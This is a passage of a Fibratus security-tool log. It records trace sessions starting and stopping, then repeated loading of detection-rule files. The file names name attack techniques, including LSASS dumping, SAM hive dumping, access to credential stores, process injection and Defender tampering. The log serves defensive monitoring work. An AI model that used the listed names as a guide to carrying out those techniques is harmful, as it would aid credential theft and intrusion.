source=bootstrap/bootstrap.go:185 +time=2025-11-11T20:28:23+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T20:28:24+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T20:32:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T20:32:01+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T20:32:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T20:34:57+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_direct_syscall_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T20:34:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_direct_syscall_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T20:35:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule 